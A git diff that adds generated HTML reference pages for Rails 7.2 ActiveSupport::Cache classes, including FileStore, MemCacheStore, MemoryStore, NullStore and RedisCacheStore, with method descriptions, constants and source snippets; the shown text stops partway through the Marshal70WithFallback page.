diff --git a/src/7.2/classes/ActiveSupport/Cache/Coder/StringDeserializer.html b/src/7.2/classes/ActiveSupport/Cache/Coder/StringDeserializer.html new file mode 100644 index 0000000000..e17b854e31 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/Coder/StringDeserializer.html @@ -0,0 +1,149 @@ +--- +title: ActiveSupport::Cache::Coder::StringDeserializer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(encoding) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/coder.rb, line 87
+          def initialize(encoding)
+            @encoding = encoding
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + load(payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/coder.rb, line 91
+          def load(payload)
+            payload.force_encoding(@encoding)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/FileStore.html b/src/7.2/classes/ActiveSupport/Cache/FileStore.html new file mode 100644 index 0000000000..91c73a03bf --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/FileStore.html @@ -0,0 +1,438 @@ +--- +title: ActiveSupport::Cache::FileStore +layout: default +--- +
+ +
+
+ +
+ +

File Cache Store

+ +

A cache store implementation which stores everything on the filesystem.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DIR_FORMATTER="%03X"
FILENAME_MAX_SIZE=226
FILEPATH_MAX_SIZE=900
GITKEEP_FILES=[".gitkeep", ".keep"].freeze
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + cache_path
+ + + + +

Class Public methods

+ +
+

+ + new(cache_path, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 20
+      def initialize(cache_path, **options)
+        super(options)
+        @cache_path = cache_path.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_cache_versioning?() + +

+ + +
+

Advertise cache versioning support.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 26
+      def self.supports_cache_versioning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cleanup(options = nil) + +

+ + +
+

Preemptively iterates through all stored keys and removes the ones which have expired.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 40
+      def cleanup(options = nil)
+        options = merged_options(options)
+        search_dir(cache_path) do |fname|
+          entry = read_entry(fname, **options)
+          delete_entry(fname, **options) if entry && entry.expired?
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(options = nil) + +

+ + +
+

Deletes all items from the cache. In this case it deletes all the entries in the specified file store directory except for .keep or .gitkeep. Be careful which directory is specified in your config file when using FileStore because everything in that directory will be deleted.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 33
+      def clear(options = nil)
+        root_dirs = (Dir.children(cache_path) - GITKEEP_FILES)
+        FileUtils.rm_r(root_dirs.collect { |f| File.join(cache_path, f) })
+      rescue Errno::ENOENT, Errno::ENOTEMPTY
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+

Decrement a cached integer value. Returns the updated value.

+ +

If the key is unset, it will be set to -amount.

+ +
cache.decrement("foo") # => -1
+
+ +

To set a specific value, call write:

+ +
cache.write("baz", 5)
+cache.decrement("baz") # => 4
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 75
+      def decrement(name, amount = 1, options = nil)
+        modify_value(name, -amount, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_matched(matcher, options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 79
+      def delete_matched(matcher, options = nil)
+        options = merged_options(options)
+        matcher = key_matcher(matcher, options)
+
+        instrument(:delete_matched, matcher.inspect) do
+          search_dir(cache_path) do |path|
+            key = file_path_key(path)
+            delete_entry(path, **options) if key.match(matcher)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+

Increment a cached integer value. Returns the updated value.

+ +

If the key is unset, it starts from 0:

+ +
cache.increment("foo") # => 1
+cache.increment("bar", 100) # => 100
+
+ +

To set a specific value, call write:

+ +
cache.write("baz", 5)
+cache.increment("baz") # => 6
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/file_store.rb, line 60
+      def increment(name, amount = 1, options = nil)
+        modify_value(name, amount, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/MemCacheStore.html b/src/7.2/classes/ActiveSupport/Cache/MemCacheStore.html new file mode 100644 index 0000000000..071e3e2a79 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/MemCacheStore.html @@ -0,0 +1,490 @@ +--- +title: ActiveSupport::Cache::MemCacheStore +layout: default +--- +
+ +
+
+ +
+ +

Memcached Cache Store

+ +

A cache store implementation which stores data in Memcached: memcached.org

+ +

This is currently the most popular cache store for production websites.

+ +

Special features:

+
  • +

    Clustering and load balancing. One can specify multiple memcached servers, and MemCacheStore will load balance between all available servers. If a server goes down, then MemCacheStore will ignore it until it comes back up.

    +
+ +

MemCacheStore implements the Strategy::LocalCache strategy which implements an in-memory cache inside of a block.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ESCAPE_KEY_CHARS=/[\x00-\x20%\x7F-\xFF]/n
KEY_MAX_SIZE=250
OVERRIDDEN_OPTIONS=UNIVERSAL_OPTIONS
 

These options represent behavior overridden by this implementation and should not be allowed to get down to the Dalli client

+ + + + + + +

Class Public methods

+ +
+

+ + new(*addresses) + +

+ + +
+

Creates a new MemCacheStore object, with the given memcached server addresses. Each address is either a host name, or a host-with-port string in the form of β€œhost_name:port”. For example:

+ +
ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
+
+ +

If no addresses are provided, but ENV['MEMCACHE_SERVERS'] is defined, it will be used instead. Otherwise, MemCacheStore will connect to localhost:11211 (the default memcached port).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 77
+      def initialize(*addresses)
+        addresses = addresses.flatten
+        options = addresses.extract_options!
+        if options.key?(:cache_nils)
+          options[:skip_nil] = !options.delete(:cache_nils)
+        end
+        super(options)
+
+        unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+          raise ArgumentError, "First argument must be an empty array, address, or array of addresses."
+        end
+
+        @mem_cache_options = options.dup
+        # The value "compress: false" prevents duplicate compression within Dalli.
+        @mem_cache_options[:compress] = false
+        (OVERRIDDEN_OPTIONS - %i(compress)).each { |name| @mem_cache_options.delete(name) }
+        @data = self.class.build_mem_cache(*(addresses + [@mem_cache_options]))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_cache_versioning?() + +

+ + +
+

Advertise cache versioning support.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 38
+      def self.supports_cache_versioning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + clear(options = nil) + +

+ + +
+

Clear the entire cache on all memcached servers. This method should be used with care when shared cache is being used.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 171
+      def clear(options = nil)
+        rescue_error_with(nil) { @data.with { |c| c.flush_all } }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+

Decrement a cached integer value using the memcached decr atomic operator. Returns the updated value.

+ +

If the key is unset or has expired, it will be set to 0. Memcached does not support negative counters.

+ +
cache.decrement("foo") # => 0
+
+ +

To set a specific value, call write passing raw: true:

+ +
cache.write("baz", 5, raw: true)
+cache.decrement("baz") # => 4
+
+ +

Decrementing a non-numeric value, or a value written without raw: true, will fail and return nil.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 158
+      def decrement(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:decrement, key, amount: amount) do
+          rescue_error_with nil do
+            @data.with { |c| c.decr(key, amount, options[:expires_in], 0) }
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+

Increment a cached integer value using the memcached incr atomic operator. Returns the updated value.

+ +

If the key is unset or has expired, it will be set to amount:

+ +
cache.increment("foo") # => 1
+cache.increment("bar", 100) # => 100
+
+ +

To set a specific value, call write passing raw: true:

+ +
cache.write("baz", 5, raw: true)
+cache.increment("baz") # => 6
+
+ +

Incrementing a non-numeric value, or a value written without raw: true, will fail and return nil.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 132
+      def increment(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:increment, key, amount: amount) do
+          rescue_error_with nil do
+            @data.with { |c| c.incr(key, amount, options[:expires_in], amount) }
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 96
+      def inspect
+        instance = @data || @mem_cache_options
+        "#<#{self.class} options=#{options.inspect} mem_cache=#{instance.inspect}>"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stats() + +

+ + +
+

Get the statistics from the memcached servers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/mem_cache_store.rb, line 176
+      def stats
+        @data.with { |c| c.stats }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(name, value, options = nil) + + +

+ + +
+

Behaves the same as ActiveSupport::Cache::Store#write, but supports additional options specific to memcached.

+ +

Additional Options

+
  • +

    raw: true - Sends the value directly to the server as raw bytes. The value must be a string or number. You can use memcached direct operations like increment and decrement only on raw values.

    +
  • +

    unless_exist: true - Prevents overwriting an existing cache entry.

    +
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/MemoryStore.html b/src/7.2/classes/ActiveSupport/Cache/MemoryStore.html new file mode 100644 index 0000000000..adcd9b56e5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/MemoryStore.html @@ -0,0 +1,514 @@ +--- +title: ActiveSupport::Cache::MemoryStore +layout: default +--- +
+ +
+
+ +
+ +

Memory Cache Store

+ +

A cache store implementation which stores everything into memory in the same process. If you’re running multiple Ruby on Rails server processes (which is the case if you’re using Phusion Passenger or puma clustered mode), then this means that Rails server process instances won’t be able to share cache data with each other and this may not be the most appropriate cache in that scenario.

+ +

This cache has a bounded size specified by the :size options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur which tries to prune the cache down to three quarters of the maximum size by removing the least recently used entries.

+ +

Unlike other Cache store implementations, MemoryStore does not compress values by default. MemoryStore does not benefit from compression as much as other Store implementations, as it does not send data over a network. However, when compression is enabled, it still pays the full cost of compression in terms of cpu use.

+ +

MemoryStore is thread-safe.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
PER_ENTRY_OVERHEAD=240
+ + + + + + +

Class Public methods

+ +
+

+ + new(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 73
+      def initialize(options = nil)
+        options ||= {}
+        options[:coder] = DupCoder unless options.key?(:coder) || options.key?(:serializer)
+        # Disable compression by default.
+        options[:compress] ||= false
+        super(options)
+        @data = {}
+        @max_size = options[:size] || 32.megabytes
+        @max_prune_time = options[:max_prune_time] || 2
+        @cache_size = 0
+        @monitor = Monitor.new
+        @pruning = false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_cache_versioning?() + +

+ + +
+

Advertise cache versioning support.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 88
+      def self.supports_cache_versioning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cleanup(options = nil) + +

+ + +
+

Preemptively iterates through all stored keys and removes the ones which have expired.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 101
+      def cleanup(options = nil)
+        options = merged_options(options)
+        _instrument(:cleanup, size: @data.size) do
+          keys = synchronize { @data.keys }
+          keys.each do |key|
+            entry = @data[key]
+            delete_entry(key, **options) if entry && entry.expired?
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(options = nil) + +

+ + +
+

Delete all data stored in a given cache store.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 93
+      def clear(options = nil)
+        synchronize do
+          @data.clear
+          @cache_size = 0
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+

Decrement a cached integer value. Returns the updated value.

+ +

If the key is unset or has expired, it will be set to -amount.

+ +
cache.decrement("foo") # => -1
+
+ +

To set a specific value, call write:

+ +
cache.write("baz", 5)
+cache.decrement("baz") # => 4
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 164
+      def decrement(name, amount = 1, options = nil)
+        modify_value(name, -amount, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_matched(matcher, options = nil) + +

+ + +
+

Deletes cache entries if the cache key matches a given pattern.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 169
+      def delete_matched(matcher, options = nil)
+        options = merged_options(options)
+        matcher = key_matcher(matcher, options)
+
+        instrument(:delete_matched, matcher.inspect) do
+          keys = synchronize { @data.keys }
+          keys.each do |key|
+            delete_entry(key, **options) if key.match(matcher)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+

Increment a cached integer value. Returns the updated value.

+ +

If the key is unset, it will be set to amount:

+ +
cache.increment("foo") # => 1
+cache.increment("bar", 100) # => 100
+
+ +

To set a specific value, call write:

+ +
cache.write("baz", 5)
+cache.increment("baz") # => 6
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 149
+      def increment(name, amount = 1, options = nil)
+        modify_value(name, amount, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prune(target_size, max_time = nil) + +

+ + +
+

To ensure entries fit within the specified memory prune the cache by removing the least recently accessed entries.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 114
+      def prune(target_size, max_time = nil)
+        return if pruning?
+        @pruning = true
+        begin
+          start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          cleanup
+          instrument(:prune, target_size, from: @cache_size) do
+            keys = synchronize { @data.keys }
+            keys.each do |key|
+              delete_entry(key, **options)
+              return if @cache_size <= target_size || (max_time && Process.clock_gettime(Process::CLOCK_MONOTONIC) - start_time > max_time)
+            end
+          end
+        ensure
+          @pruning = false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pruning?() + +

+ + +
+

Returns true if the cache is currently being pruned.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/memory_store.rb, line 133
+      def pruning?
+        @pruning
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/NullStore.html b/src/7.2/classes/ActiveSupport/Cache/NullStore.html new file mode 100644 index 0000000000..fc8fa2f481 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/NullStore.html @@ -0,0 +1,310 @@ +--- +title: ActiveSupport::Cache::NullStore +layout: default +--- +
+ +
+
+ +
+ +

Null Cache Store

+ +

A cache store implementation which doesn’t actually store anything. Useful in development and test environments where you don’t want caching turned on but need to go through the caching interface.

+ +

This cache does implement the local cache strategy, so values will actually be cached inside blocks that utilize this strategy. See ActiveSupport::Cache::Strategy::LocalCache for more details.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + supports_cache_versioning?() + +

+ + +
+

Advertise cache versioning support.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 18
+      def self.supports_cache_versioning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cleanup(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 25
+      def cleanup(options = nil)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 22
+      def clear(options = nil)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 31
+      def decrement(name, amount = 1, options = nil)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_matched(matcher, options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 34
+      def delete_matched(matcher, options = nil)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/null_store.rb, line 28
+      def increment(name, amount = 1, options = nil)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/RedisCacheStore.html b/src/7.2/classes/ActiveSupport/Cache/RedisCacheStore.html new file mode 100644 index 0000000000..246039bf2e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/RedisCacheStore.html @@ -0,0 +1,684 @@ +--- +title: ActiveSupport::Cache::RedisCacheStore +layout: default +--- +
+ +
+
+ +
+ +

Redis Cache Store

+ +

Deployment note: Take care to use a dedicated Redis cache rather than pointing this at a persistent Redis server (for example, one used as an Active Job queue). Redis won’t cope well with mixed usage patterns and it won’t expire cache entries by default.

+ +

Redis cache server setup guide: redis.io/topics/lru-cache

+
  • +

    Supports vanilla Redis, hiredis, and Redis::Distributed.

    +
  • +

    Supports Memcached-like sharding across Redises with Redis::Distributed.

    +
  • +

    Fault tolerant. If the Redis server is unavailable, no exceptions are raised. Cache fetches are all misses and writes are dropped.

    +
  • +

    Local cache. Hot in-memory primary cache within block/middleware scope.

    +
  • +

    read_multi and write_multi support for Redis mget/mset. Use Redis::Distributed 4.0.1+ for distributed mget support.

    +
  • +

    delete_matched support for Redis KEYS globs.

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DEFAULT_ERROR_HANDLER=-> (method:, returning:, exception:) do +if logger +logger.error { "RedisCacheStore: #{method} failed, returned #{returning.inspect}: #{exception.class}: #{exception.message}" } +end +ActiveSupport.error_reporter&.report( +exception, +severity: :warning, +source: "redis_cache_store.active_support", +) +end
DEFAULT_REDIS_OPTIONS={ +connect_timeout: 1, +read_timeout: 1, +write_timeout: 1, +}
MAX_KEY_BYTESIZE=1024
 

Keys are truncated with the Active Support digest if they exceed 1kB

+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + max_key_bytesize
+ [R] + redis
+ + + + +

Class Public methods

+ +
+

+ + new(error_handler: DEFAULT_ERROR_HANDLER, **redis_options) + +

+ + +
+

Creates a new Redis cache store.

+ +

There are four ways to provide the Redis client used by the cache: the :redis param can be a Redis instance or a block that returns a Redis instance, or the :url param can be a string or an array of strings which will be used to create a Redis instance or a Redis::Distributed instance.

+ +
Option  Class       Result
+:redis  Proc    ->  options[:redis].call
+:redis  Object  ->  options[:redis]
+:url    String  ->  Redis.new(url: …)
+:url    Array   ->  Redis::Distributed.new([{ url: … }, { url: … }, …])
+
+ +

No namespace is set by default. Provide one if the Redis cache server is shared with other apps: namespace: 'myapp-cache'.

+ +

Compression is enabled by default with a 1kB threshold, so cached values larger than 1kB are automatically compressed. Disable by passing compress: false or change the threshold by passing compress_threshold: 4.kilobytes.

+ +

No expiry is set on cache entries by default. Redis is expected to be configured with an eviction policy that automatically deletes least-recently or -frequently used keys when it reaches max memory. See redis.io/topics/lru-cache for cache server setup.

+ +

Race condition TTL is not set by default. This can be used to avoid β€œthundering herd” cache writes when hot cache entries are expired. See ActiveSupport::Cache::Store#fetch for more.

+ +

Setting skip_nil: true will not cache nil results:

+ +
cache.fetch('foo') { nil }
+cache.fetch('bar', skip_nil: true) { nil }
+cache.exist?('foo') # => true
+cache.exist?('bar') # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 149
+      def initialize(error_handler: DEFAULT_ERROR_HANDLER, **redis_options)
+        universal_options = redis_options.extract!(*UNIVERSAL_OPTIONS)
+
+        if pool_options = self.class.send(:retrieve_pool_options, redis_options)
+          @redis = ::ConnectionPool.new(pool_options) { self.class.build_redis(**redis_options) }
+        else
+          @redis = self.class.build_redis(**redis_options)
+        end
+
+        @max_key_bytesize = MAX_KEY_BYTESIZE
+        @error_handler = error_handler
+
+        super(universal_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_cache_versioning?() + +

+ + +
+

Advertise cache versioning support.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 63
+      def self.supports_cache_versioning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cleanup(options = nil) + +

+ + +
+

Cache Store API implementation.

+ +

Removes expired entries. Handled natively by Redis least-recently-/ least-frequently-used expiry, so manual cleanup is not supported.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 279
+      def cleanup(options = nil)
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear(options = nil) + +

+ + +
+

Clear the entire cache on all Redis servers. Safe to use on shared servers if the cache is namespaced.

+ +

Failsafe: Raises errors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 287
+      def clear(options = nil)
+        failsafe :clear do
+          if namespace = merged_options(options)[:namespace]
+            delete_matched "*", namespace: namespace
+          else
+            redis.then { |c| c.flushdb }
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrement(name, amount = 1, options = nil) + +

+ + +
+

Decrement a cached integer value using the Redis decrby atomic operator. Returns the updated value.

+ +

If the key is unset or has expired, it will be set to -amount:

+ +
cache.decrement("foo") # => -1
+
+ +

To set a specific value, call write passing raw: true:

+ +
cache.write("baz", 5, raw: true)
+cache.decrement("baz") # => 4
+
+ +

Decrementing a non-numeric value, or a value written without raw: true, will fail and return nil.

+ +

Failsafe: Raises errors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 264
+      def decrement(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument :decrement, key, amount: amount do
+          failsafe :decrement do
+            change_counter(key, -amount, options)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_matched(matcher, options = nil) + +

+ + +
+

Cache Store API implementation.

+ +

Supports Redis KEYS glob patterns:

+ +
h?llo matches hello, hallo and hxllo
+h*llo matches hllo and heeeello
+h[ae]llo matches hello and hallo, but not hillo
+h[^e]llo matches hallo, hbllo, ... but not hello
+h[a-b]llo matches hallo and hbllo
+
+ +

Use \ to escape special characters if you want to match them verbatim.

+ +

See redis.io/commands/KEYS for more.

+ +

Failsafe: Raises errors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 198
+      def delete_matched(matcher, options = nil)
+        unless String === matcher
+          raise ArgumentError, "Only Redis glob strings are supported: #{matcher.inspect}"
+        end
+        pattern = namespace_key(matcher, options)
+
+        instrument :delete_matched, pattern do
+          redis.then do |c|
+            cursor = "0"
+            # Fetch keys in batches using SCAN to avoid blocking the Redis server.
+            nodes = c.respond_to?(:nodes) ? c.nodes : [c]
+
+            nodes.each do |node|
+              begin
+                cursor, keys = node.scan(cursor, match: pattern, count: SCAN_BATCH_SIZE)
+                node.del(*keys) unless keys.empty?
+              end until cursor == "0"
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + increment(name, amount = 1, options = nil) + +

+ + +
+

Increment a cached integer value using the Redis incrby atomic operator. Returns the updated value.

+ +

If the key is unset or has expired, it will be set to amount:

+ +
cache.increment("foo") # => 1
+cache.increment("bar", 100) # => 100
+
+ +

To set a specific value, call write passing raw: true:

+ +
cache.write("baz", 5, raw: true)
+cache.increment("baz") # => 6
+
+ +

Incrementing a non-numeric value, or a value written without raw: true, will fail and return nil.

+ +

Failsafe: Raises errors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 237
+      def increment(name, amount = 1, options = nil)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument :increment, key, amount: amount do
+          failsafe :increment do
+            change_counter(key, amount, options)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 164
+      def inspect
+        "#<#{self.class} options=#{options.inspect} redis=#{redis.inspect}>"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_multi(*names) + +

+ + +
+

Cache Store API implementation.

+ +

Read multiple values at once. Returns a hash of requested keys -> fetched values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 172
+      def read_multi(*names)
+        return {} if names.empty?
+
+        options = names.extract_options!
+        instrument_multi(:read_multi, names, options) do |payload|
+          read_multi_entries(names, **options).tap do |results|
+            payload[:hits] = results.keys
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stats() + +

+ + +
+

Get info from redis servers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/redis_cache_store.rb, line 298
+      def stats
+        redis.then { |c| c.info }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback.html b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback.html new file mode 100644 index 0000000000..517c421f1f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::Cache::SerializerWithFallback +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal70WithFallback.html b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal70WithFallback.html new file mode 100644 index 0000000000..dcbb1db62e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/SerializerWithFallback/Marshal70WithFallback.html @@ -0,0 +1,261 @@ +--- +title: ActiveSupport::Cache::SerializerWithFallback::Marshal70WithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
MARK_COMPRESSED="\x01".b.freeze
MARK_UNCOMPRESSED="\x00".b.freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + _load(marked) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/serializer_with_fallback.rb, line 88
+          def _load(marked)
+            dumped = marked.byteslice(1..-1)
